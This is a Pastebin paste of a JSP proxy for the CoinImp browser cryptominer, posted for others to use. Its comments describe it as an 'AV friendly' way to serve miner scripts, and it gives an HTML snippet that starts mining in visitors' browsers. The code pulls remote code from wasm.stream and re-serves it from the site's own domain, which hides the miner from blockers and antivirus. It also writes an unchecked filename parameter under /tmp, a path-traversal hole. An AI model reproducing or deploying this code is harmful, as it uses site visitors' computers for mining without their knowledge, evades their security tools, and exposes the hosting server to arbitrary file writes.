Advertisement
Guest User

CoinImp Java Proxy

a guest
Jul 27th, 2018
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.31 KB | None | 0 0
  1. <%@page autoFlush="false" session="false"%><%@page import = "java.net.*,java.io.*,java.util.*" %><%
  2. /*
  3.  
  4. This is a generic caching proxy built for use with Java hosted sites (Caucho, Resin, Tomcat, etc.). This was
  5. originally built for use with CoinImp.com JavaScript miner. However, the AV friendly code supplied by CoinImp
  6. is PHP only.  You may place this .jsp file on your server instead of using the CoinImp PHP file. Here is an
  7. example of how to call the JSP proxy code from your JavaScript client. Note, substitute the correct Client ID
  8. which you can obtain from the CoinImp portal. Also, set the throttle as you need it.
  9.  
  10. <script src="/coinproxy.jsp?f=1Ri3.js"></script>
  11. <script>
  12.     var _client = new Client.Anonymous('YOUR KEY GOES HERE', {
  13.         throttle: 0.7
  14.     });    
  15.     _client.start();
  16.            
  17. </script>  
  18.  
  19. // Hopefully you find this useful. No guarantees or warranties are made. Use at your own risk. This code is released to the public domain.
  20.  
  21. If you find this code useful, I would gladly accept Monero or donations to Coinbase Commerce:
  22.  
  23. MONERO ADDRESS: 424g2dLQiUzK9x28KLpi2fAuTVSAUrz1KM49MvmMdmJZXF3CDHedQhtDRanQ8p6zEtd1BjSXCAopc4tAxG5uLQ8pBMQY54m
  24. COINBASE ADDRESS: https://commerce.coinbase.com/checkout/dd0e7d0d-73a9-43a6-bbf2-4d33515aef49
  25.  
  26. Thanks
  27. */
  28.  
  29. try {
  30.         response.setHeader("Access-Control-Allow-Origin", "*");
  31.         response.setCharacterEncoding("UTF-8");
  32.         String filename=request.getParameter("f");
  33.         if(filename.contains(".js")) { response.setContentType("application/javascript; charset=utf-8");
  34.         } else { response.setContentType("application/octet-stream; charset=utf-8");
  35.         }
  36.         String host = java.net.URLEncoder.encode(request.getRequestURL().toString(),"UTF-8").replace("+","%20");
  37.         String reqUrl = "http://www.wasm.stream?filename="+java.net.URLEncoder.encode(filename,"UTF-8").replace("+","%20")+"&host="+host;
  38.         File f=new File("/tmp/"+filename);
  39.  
  40.         if(!f.exists() || (new Date().getTime() - f.lastModified())>60*60*1000) {
  41.                 // fetch code from server
  42.  
  43.                 URL url = new URL(reqUrl);
  44.                 HttpURLConnection uc = (HttpURLConnection) url.openConnection();
  45.                 InputStream in = uc.getInputStream();
  46.  
  47.                 // save in /tmp
  48.                 FileOutputStream fo = new FileOutputStream(f);
  49.  
  50.                 byte[] buffer = new byte[4096];
  51.  
  52.                 int i=0;
  53.                 int count;
  54.  
  55.                 while ((count = in.read(buffer)) != -1) {
  56.                         i+=count;
  57.                   fo.write(buffer,0,count);
  58.                 }
  59.                 fo.flush();
  60.                 fo.close();
  61.                 in.close();
  62.         }
  63.  
  64.         // now open file and stream as response
  65.  
  66.         FileInputStream fi=new FileInputStream(f);
  67.         OutputStream output = response.getOutputStream();
  68.  
  69.         response.setContentLength((int)(f.length()));
  70.  
  71.         // read cached copy
  72.         System.out.println("File length: "+String.valueOf(f.length()));
  73.  
  74.         byte[] buffer = new byte[4096];
  75.  
  76.         int i=0;
  77.         int count;
  78.  
  79.         while((count = fi.read(buffer)) != -1) {
  80.                 i+=count;
  81.                 output.write(buffer,0,count);
  82.         }
  83.         fi.close();
  84.  
  85. } catch (Exception e) {
  86. e.printStackTrace();
  87. }
  88. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement